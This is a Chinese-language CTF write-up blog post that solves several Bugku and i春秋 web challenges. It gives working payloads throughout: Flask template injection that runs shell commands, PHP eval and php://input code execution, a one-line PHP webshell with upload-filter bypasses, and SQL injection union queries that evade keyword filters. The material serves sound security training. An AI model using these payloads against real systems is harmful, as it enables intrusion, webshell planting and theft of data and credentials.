Bugku、i春秋解题 web wp(一)
Simple_SSTI_1(python模板注入)启动常见后只有一行字母,我们什么也看不出来。点击右键,查看网页源代码倒数第三行绿色的字<!-- You know, in the flask, We often set a secret_key variable.-->意思是 你知道,在flask【一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或W
文章目录
Bugku Simple_SSTI_1(python模板注入)
- 启动常见后只有一行字母,我们什么也看不出来。点击右键,查看网页源代码
- 倒数第三行绿色的字
<!-- You know, in the flask, We often set a secret_key variable.-->
意思是 你知道,在flask【一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。】里,我们经常设置一个secret_key变量,所以我们要读取secret_key
变量,导出所有config
变量,其中就包括SECRET_KEY
,需要在题目url后面添加/?flag={{config.items()}}
,点击访问,则在页面可发现flag{c3af0e0464d89e12a4983dbf4b3984da}
。
Bugku Simple_SSTI_2
- 启动场景,打开可看到这样的页面
- 由题目可知,这道题依然为模板注入。与上一题思路相同,点击右键,查看网页源代码。
利用上一题的思想,我们从源码中得不到多余的提示,只提示我们要传参。 - payload:
?flag={{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
i春秋 Misc Web 爆破-1
- 打开链接是一段php源码。
- 第一行include"flag.php"表示文件中包含flag.php文件,第二行
$a = @$_REQUEST['hello']
表示命名一个变量a来接收超全局变量【意味着它们在一个脚本的全部作用域中都可用】@$_REQUEST['hello']
。$_REQUEST
用于收集 HTML 表单提交的数据。$a = @$_REQUEST['hello']
则是请求一个名为hello的参数. - 因此可以直接在url后面提交
/?hello=GLOBALS
, - R E Q U E S T 变 量 包 含 _REQUEST变量包含 REQUEST变量包含_GET、$_POST变量,因此post传参数hello=GLOBALS也可以。
i春秋 Misc Web 爆破-2
- 与上一题相同,打开链接是一段php源码代码与上一题基本相同,利用上一题的解题思路我们发现这种方法不可行,但是第二题源码中未出现过滤字符的代码。利用上一题的解题思路我们发现这种方法不可行
- 把一个
file_get_contents()
函数【file_get_contents(path)
函数,获得指定路径下的文件内容,以字符串的形式返回出来。eval(str)
函数,把括号里的字符串,当作php
命令来执行。】命令赋值给$a
传入var_dump()
中。var_dump()
函数就是把这个命令以字符串的形式返回,进入到嵌套的eval
函数里面,让eval
函数来执行这行命令。 - 因此,我们我们使用get传参在url后面添加
/?hello=file_get_contents("flag.php")
,页面跳转成功后查看该页面的源码即可成功得到flag。
i春秋 Web Upload
-
打开链接题目提示随便上传什么文件,我们尝试上传一个含有一句话木马的flag.php文件,显示上传成功。
-
点击右键查看网页源代码,查看我们上传的php文件内容,发现php的标签被过滤。因此我们应该想办法绕过过滤,使蚁剑连接时能识别出一句话木马。
-
我们尝试大小写绕过以及使用注释进行干扰、双写绕过,发现
php
标签中<?
依然被过滤,而php成功绕过。我们用<script language="pHp">@eval($_POST['123'])</script>
script标签来绕过<?
,即可绕过成功。 -
打开蚁剑连接这个php文件,连接成功并打开后,即可在html目录下找到flag.php文件即可找到flag。
i春秋Misc Web 爆破-3
- 打开链接可以看到一段php源码。
- 我们需要看懂最后几行关于flag的代码,即当前session中 n u m s 是 不 是 大 于 10 , 现 在 n u m s = 0 , 只 有 使 n u m s + 10 , 才 可 以 输 出 f l a g , n u m s + 1 的 条 件 有 两 个 , 一 是 w h o a m i = v a l u e [ 0 ] . v a l u e [ 1 ] , 二 是 ‘ m d 5 ‘ 的 值 等 于 0 。 , 如 果 依 次 类 推 ‘ nums是不是大于10,现在nums=0,只有使nums+10,才可以输出flag,nums+1的条件有两个,一是whoami=value[0].value[1],二是`md5`的值等于0。,如果依次类推` nums是不是大于10,现在nums=0,只有使nums+10,才可以输出flag,nums+1的条件有两个,一是whoami=value[0].value[1],二是‘md5‘的值等于0。,如果依次类推‘nums>10`就打印出flag.
- 构造一个payload
/?value[]=ea
,我们需要第一次传入ea
,然后得到打印出的随机数作为值第二次访问页面并进行传入。只要我们连续10次成功,就能在页面中看到flag。
i春秋 Web SQL
- 题目提示这是sql注入,而且提示flag在数据库中
- 查看源码得到提示
SELECT * FROM info WHERE id=1
1=1时正常访问,1=2时页面为空白,则为数字型注入 - 尝试添加and 1=1,发现被拦截,测试or1=1,也发现or被拦截
- 用相应字符来代替and和or,and---->&& or-----> || ,发现可以成功绕过。
1=1时正常访问,1=2时页面为空白,则为数字型注入 - j接下来尝试猜字段长度,使用order by字段和二分法进行猜测,发现order by被拦截
- 我们尝试使用<>把order字符隔开绕过,发现可行,得出字段数为3。
- 我们使用union(all)联合查询来查看显示位的字段数,发现select被过滤,同样使用<>隔开。
表明返回的列数为三,从左往右第二个位置会返回到页面上,找到回显位置后,就可以通过联合查询来回显数据库,即构造/index.php?id=1 union s<>elect 1,database(),3
,得出数据库为sqli。(若空格被过滤,可用+
绕过) - 接下来是通过不断构造payload使flag回显。构造
/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables
显示所有表名 - 构造payload
/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'
来回显当前调用的表。 - 构造payload
/index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_name='info'
回显info的列名 - 构造payload
/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info
回显flag。
i春秋 web include
- 题目提示为文件包含漏洞【文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。】。点开链接,可以看到一段php源码并且出现了phpinfo的页面,从源码看没有任何过滤。
- 要想知道文件的名字,搜索一下
allow_url_include
看看是否打开,Ctrl+F,定位到allow_url_include
,发现是打开的。 - 因此可以使用
php://input
协议,构造url/?path=php://input
,post传入参数<?php echo system('ls');?>
,响应得到文件目录 - 读取文件内容,同样修改get传参
?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
,查看响应可能flag被加密. - 使用base64解密即可得到flag。
拓展: php提供四种方法执行外部命令exec()、passthru()、system()、shell_exec()
,这四个函数与一句话木马中eval()
函数作用相同,即可以代替一句话木马中的eval()
函数,常用的是system()
函数,<?php system('ls')?>
属于一句话木马。
Web Do you know upload?
-
点开链接,尝试上传.jpg的文件,发现可上传成功。上传包含一句话木马的php文件,即上传失败,因此可以考虑使用burp来修改后缀。
-
在一句话木马前添加
<?php phpinfo()?>
,使用post传参的方法,可获取php版本以及各种权限进行查看。phpinfo执行成功,说明文件上传成功。 -
查看diabled_function这一行,我们发现常用操作未被禁用,因此我们可以继续操作。
-
我们将一句话木马文件前添加的phpinfo()删去,重复上述操作,试用burp修改文件后缀并上传。
-
使用蚁剑连接木马,然后在config.php文件中可以看到数据库的用户名和密码。
-
右键点击我们添加的shell。点击数据操作,然后选择mysql,输入登录数据库的用户名ctf和密码ctfctfctf,即可找到flag文件获得flag。

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。
更多推荐
所有评论(0)